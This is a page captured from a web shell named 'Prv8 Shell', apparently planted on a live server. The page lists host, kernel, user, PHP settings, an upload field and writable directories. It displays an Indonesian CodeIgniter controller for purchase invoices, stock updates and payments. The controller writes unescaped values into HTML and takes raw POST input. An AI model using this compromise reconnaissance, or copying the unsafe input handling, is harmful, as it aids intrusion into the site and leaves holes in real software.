Prv8 Shell
Server : Apache
System : Linux server.mata-lashes.com 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : matalashes ( 1004)
PHP Version : 8.1.29
Disable Function : NONE
Directory :  /home/matalashes/.trash/app/Controllers/Pembelian/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/matalashes/.trash/app/Controllers/Pembelian/Pembelianfaktur.php
<?php

namespace App\Controllers\Pembelian;

use \App\Controllers\Ps\PS_Controller;
use CodeIgniter\HTTP\RequestInterface;
use CodeIgniter\HTTP\ResponseInterface;
use Psr\Log\LoggerInterface;
use App\Libraries\Ps\Mylibpublic;

class Pembelianfaktur extends PS_Controller
{
    private $id_column_name = 'mb_id';

    public function initController(RequestInterface $request, ResponseInterface $response, LoggerInterface $logger)
    {
        parent::initController($request, $response, $logger); // TODO: Change the autogenerated stub
        parent::setPageTitleBreadcrumb(true, 'Faktur Pembelian', array('l1' => 'Pembelian', 'l2' => 'Faktur Pembelian'));
        parent::setURLActionTable($this->class);
        parent::setContentView($this->class);
        parent::setBaseContAndModel($this->class, 'PembelianFaktur');
        $this->validation_input = $this->validation->setRules([
            "pf_penjual" => [
                'label' => 'Nama Penjual',
                'rules' => 'required',
            ]
        ]);
    }


    public function index()
    {
        parent::filterStoreLoad();
        // parent::indexLoad();
        $this->session->set('trash', false);
        $this->session->set('keyword', '');

        $start = date('Y-m-01');
        $end = date('Y-m-t'); 
        if ($_POST) {
            $start = $this->request->getVar('start');
            $end = $this->request->getVar('end');
        }

        $dtl = new \App\Models\PembelianFaktur();
        $pagination = $dtl->where('deleted_at', null)
                    ->where('date(created_at) >=', $start)
                    ->where('date(created_at) <=', $end)
                    ->findAll();


        $this->view_data['_data'] = $pagination;
        $this->view_data['start'] = $start; 
        $this->view_data['end'] = $end;
        $this->render->viewAdmin($this->content_views['table_view'], $this);
    }

    public function action($state = '', $id = '')
    {
        $id = $this->myLib->reveal_id($id);
        if ($id == 'override404') {
            return redirect()->route('override404');
        }
        $barang = new  \App\Models\MasterBarang();
        $this->view_data['_barang'] = $barang->where('deleted_at', null)->findAll();
        $supplier = new  \App\Models\MasterSupplier();
        $this->view_data['_supplier'] = $supplier->where('deleted_at', null)->findAll();
        $ppn = new  \App\Models\MasterPpn();
        $this->view_data['_ppn'] = $ppn->where('deleted_at', null)->findAll();
        if ($state == 'add') {
            $this->mylib = new Mylibpublic();
            $this->view_data['state'] = 'add';
            $this->view_data['button'] = 'Simpan';
            $this->view_data['upload_data'] = $this->upload_data;
            if ($_POST) {
                if (!$this->validation_input->withRequest($this->request)->run()) {
                    $this->view_data['error'] = true;
                    $this->view_data['message'] = 'Ada kesalahan dalam pengisian form!';
                    $this->view_data['error_list'] = $this->validation_input->getErrors();
                } else {
                    unset($_POST['id']);

                    //Generate Order Number
                    $invoice_code = $this->mylib->generateOrderNumber('FB',$this->models['base_model']);

                    $_mdl = $this->myLib->getNewModel($this->models['base_model']);
                    $_datamodel = array();
                    $_datamodel['pf_no'] = $invoice_code;
                    $_datamodel['ms_id'] = $this->request->getVar('ms_id');
                    $_datamodel['mppn_id'] = $this->request->getVar('mppn_id');
                    $_datamodel['pf_penjual'] = $this->request->getVar('pf_penjual');
                    $_datamodel['pf_phone'] = $this->request->getVar('pf_phone');
                    $_datamodel['pf_address'] = $this->request->getVar('pf_address');
                    $_datamodel['pf_subtotal'] = $this->request->getVar('pf_subtotal');
                    $_datamodel['pf_ppn'] = $this->request->getVar('pf_ppn');
                    $_datamodel['pf_grandtotal'] = $this->request->getVar('pf_grandtotal');
                    $_datamodel['pf_tgl_nota'] = $this->request->getVar('pf_tgl_nota');
                    $_datamodel['pf_tempo'] = $this->request->getVar('pf_tempo');

                    $item = count($this->request->getVar('item'));

                    $o = $this->request->getVar('item');
                    $v = $this->request->getVar('qty');
                    $p = $this->request->getVar('price');
                    $pf_item = array();
                    $sum = 0;
                    for ($i=0; $i < $item; $i++) {

                        if(is_numeric($o[$i])){
                            $_itm = $o[$i];
                        }else{
                            $_barang = new  \App\Models\MasterBarang();
                            $_datamodel_cat['mb_name'] = $o[$i];
                            $_datamodel_cat['mb_status'] = 1;
                            $_datamodel_cat['mb_harga_jual'] = $p[$i];
                            if ($_barang->save($_datamodel_cat)) {
                                $mb_id = $_barang->getInsertID();
                                $_itm = $mb_id;
                            }
                        }

                        $data = array(
                            'item' => $_itm,
                            'qty' => $v[$i],
                            'price' => $p[$i],
                        ); 
                        array_push($pf_item, $data);
                        $sum += $p[$i]*$v[$i];
                    }
                    $_datamodel['pf_amount'] = $this->request->getVar('pf_grandtotal');
                    $_datamodel['pf_item'] = json_encode($pf_item);

                    try {
                        if (!$_mdl->save($_datamodel)) {
                            throw new \CodeIgniter\Database\Exceptions\DatabaseException();
                        } else {
                            $this->setMessage(false, true, $this->msgLib->scs_add());
                        }
                    } catch (Exception $e) {
                        $this->setMessage(true, false, $this->msgLib->err_add());
                    }
                }
            }
            $this->render->viewAdmin($this->content_views['form_add_view'], $this);
        } else if ($state == 'edit') {
            // parent::stateEdit($id);      
            $mdl = $this->myLib->getNewModel($this->models['base_model']);
            $_data = $mdl->find($id);
            $this->view_data['state'] = 'edit';
            $this->view_data['button'] = 'Ubah';
            $this->view_data['id'] = $id;
            $this->view_data['_data'] = $_data;
            $this->view_data['upload_data'] = $this->upload_data;
            if ($_POST) {
                if (!$this->validation_input->withRequest($this->request)->run()) {
                    $this->view_data['error'] = true;
                    $this->view_data['message'] = 'Ada kesalahan dalam pengisian form!';
                    $this->view_data['error_list'] = $this->validation_input->getErrors();
                } else {
                    unset($_POST['id']);

                    $_mdl = $this->myLib->getNewModel($this->models['base_model']);
                    $_datamodel = array();
                    $_datamodel['ms_id'] = $this->request->getVar('ms_id');
                    $_datamodel['mppn_id'] = $this->request->getVar('mppn_id');
                    $_datamodel['pf_penjual'] = $this->request->getVar('pf_penjual');
                    $_datamodel['pf_phone'] = $this->request->getVar('pf_phone');
                    $_datamodel['pf_address'] = $this->request->getVar('pf_address');
                    $_datamodel['pf_subtotal'] = $this->request->getVar('pf_subtotal');
                    $_datamodel['pf_ppn'] = $this->request->getVar('pf_ppn');
                    $_datamodel['pf_grandtotal'] = $this->request->getVar('pf_grandtotal');
                    $_datamodel['pf_tgl_nota'] = $this->request->getVar('pf_tgl_nota');
                    $_datamodel['pf_tempo'] = $this->request->getVar('pf_tempo');

                    $item = count($this->request->getVar('item'));

                    $o = $this->request->getVar('item');
                    $v = $this->request->getVar('qty');
                    $p = $this->request->getVar('price');
                    $pf_item = array();
                    $sum = 0;
                    for ($i=0; $i < $item; $i++) {
                        if(is_numeric($o[$i])){
                            $_itm = $o[$i];
                        }else{
                            $_barang = new  \App\Models\MasterBarang();
                            $_datamodel_cat['mb_name'] = $o[$i];
                            $_datamodel_cat['mb_status'] = 1;
                            $_datamodel_cat['mb_harga_jual'] = $p[$i];
                            if ($_barang->save($_datamodel_cat)) {
                                $mb_id = $_barang->getInsertID();
                                $_itm = $mb_id;
                            }
                        }
                        $data = array(
                            'item' => $_itm,
                            'qty' => $v[$i],
                            'price' => $p[$i],
                        ); 
                        array_push($pf_item, $data);
                        $sum += $p[$i]*$v[$i];
                    }
                    $_datamodel['pf_amount'] = $this->request->getVar('pf_grandtotal');
                    $_datamodel['pf_item'] = json_encode($pf_item);
                    try {
                        if (!$mdl->update($id, $_datamodel)) {
                            throw new \CodeIgniter\Database\Exceptions\DatabaseException();
                        } else {
                            $this->setMessage(false, true, $this->msgLib->scs_edit());
                        }
                    } catch (Exception $e) {
                        $this->setMessage(true, false, $this->msglib->err_edit());
                    }
                }
            }
            $this->render->viewAdmin($this->content_views['form_edit_view'], $this);
        } else if ($state == 'delete') {
            parent::stateDelete($id);
        } else if ($state == 'restore') {
            parent::stateRestore($this->id_column_name, $id);
        } else if ($state == 'deletepermanent') {
            parent::stateDeletePermanent($this->id_column_name, $id);
        } else if ($state == 'view') {
            parent::stateView($id);
        } else {
            return redirect()->route('override404');
        }
    }

    public function trash()
    {
        parent::filterStoreLoad();
        parent::trashView();
    }  
    public function posting(){
        if(isset($_POST)){
            $id=$_POST['id'];
            $_mdls = $this->myLib->getNewModel($this->models['base_model']);
            $_result = $_mdls->find($id);
            $json = json_decode($_result->pf_item);
            $_datamodels['pf_status'] = 1;  

            if (!$_mdls->update($id, $_datamodels)) {
                echo json_encode(array(
                    "statusCode"=>400
                )); 
            } else {
                foreach($json as $j){
                    $barangId = $j->item;
                    $barangStok = $j->qty;
                    $barangHarga = $j->price;

                    $barang = new  \App\Models\MasterBarang();
                    $_barang = $barang->find($barangId);
                    $_datamodels['mb_stok'] = $_barang->mb_stok + $barangStok;  
                    $_datamodels['mb_harga_beli'] = $barangHarga;  

                    if($_barang->mb_harga_hpp > 0){
                        $hpp = (($_barang->mb_harga_hpp*$_barang->mb_stok) + ($barangHarga*$barangStok))/($_barang->mb_stok+$barangStok);
                    }else{
                        $hpp = (($_barang->mb_harga_beli*$_barang->mb_stok) + ($barangHarga*$barangStok))/($_barang->mb_stok+$barangStok);
                    }
                    $_datamodels['mb_harga_hpp'] = $hpp;  
                    $barang->update($barangId, $_datamodels);
                }


                echo json_encode(array(
                    "statusCode"=>200
                ));
            }
        }

    }
    public function pembayaran(){
        if(isset($_POST)){
            log_message('alert',json_encode($_POST));
            $id=$_POST['id'];
            $pf_metode_bayar=$_POST['pf_metode_bayar'];
            $pf_tempo=$_POST['pf_tempo'];
            $pf_tgl_bayar=$_POST['pf_tgl_bayar'];
            $pf_jml_bayar=$_POST['pf_jml_bayar'];
            $_mdls = $this->myLib->getNewModel($this->models['base_model']);

            $_datamodels['pf_metode_bayar'] = $pf_metode_bayar;  
            $_datamodels['pf_tgl_bayar'] = $pf_tgl_bayar;
            if($pf_metode_bayar == 'CASH'){
                $_datamodels['pf_status_bayar'] = 1; 
                $_datamodels['pf_jml_bayar'] = $pf_jml_bayar;
            }else{
                $_datamodels['pf_tempo'] = $pf_tempo;
            }

            if (!$_mdls->update($id, $_datamodels)) {
                echo json_encode(array(
                    "statusCode"=>400
                )); 
            } else {
                echo json_encode(array(
                    "statusCode"=>200
                ));
            }
        }

    }
    public function pelunasan(){
        if(isset($_POST)){
            log_message('alert',json_encode($_POST));
            $id=$_POST['id'];
            $pf_tgl_bayar=$_POST['pf_tgl_bayar'];
            $pf_jml_bayar=$_POST['pf_jml_bayar'];
            $_mdls = $this->myLib->getNewModel($this->models['base_model']);
 
            $_datamodels['pf_tgl_bayar'] = $pf_tgl_bayar;
            $_datamodels['pf_jml_bayar'] = $pf_jml_bayar;
            $_datamodels['pf_status_bayar'] = 1; 

            if (!$_mdls->update($id, $_datamodels)) {
                echo json_encode(array(
                    "statusCode"=>400
                )); 
            } else {
                echo json_encode(array(
                    "statusCode"=>200
                ));
            }
        }

    }
    public function check_client(){
        $id = $this->request->getVar('id');
        $supplier = new  \App\Models\MasterSupplier();
        $_supplier = $supplier->where('ms_id', $id)->where('deleted_at', null)->first();

        echo json_encode(array(
            "statusCode"=>200,
            "ms_name"=>$_supplier->ms_name,
            "ms_phone"=>$_supplier->ms_phone,
            "ms_address"=>$_supplier->ms_address,
        )); 
    }
    public function check_ppn(){
        $id = $this->request->getVar('id');
        $ppn = new  \App\Models\MasterPpn();
        $_ppn = $ppn->where('mppn_id', $id)->where('deleted_at', null)->first();
        $ppn_value = 0;
        if(isset($_ppn->mppn_value)){
            $ppn_value = $_ppn->mppn_value;
        }

        echo json_encode(array(
            "statusCode"=>200,
            "mppn_value"=>$ppn_value,
        )); 
    }

    public function check_barang(){
        $parts = $this->request->getVar('parts');
        $merk = $this->request->getVar('merk');
        $nama_barang = $this->request->getVar('nama_barang');

        $_barangsave = new  \App\Models\MasterBarang();
        $_datamodel['mb_kode'] = $parts;
        $_datamodel['mb_merk'] = $merk;
        $_datamodel['mb_name'] = $nama_barang;
        $_barangsave->save($_datamodel);

        $barang = new  \App\Models\MasterBarang();
        $_barang = $barang->where('deleted_at', null)->findAll();
        $data = "<option value=''> - Pilih Barang - </option>";
        foreach ($_barang as $value) {
            $data .= "<option value='".$value->mb_id."'>[".$value->mb_kode.']'.$value->mb_merk.'-'.$value->mb_name."</option>";
        }
        echo $data;
    }
}


haha - 2025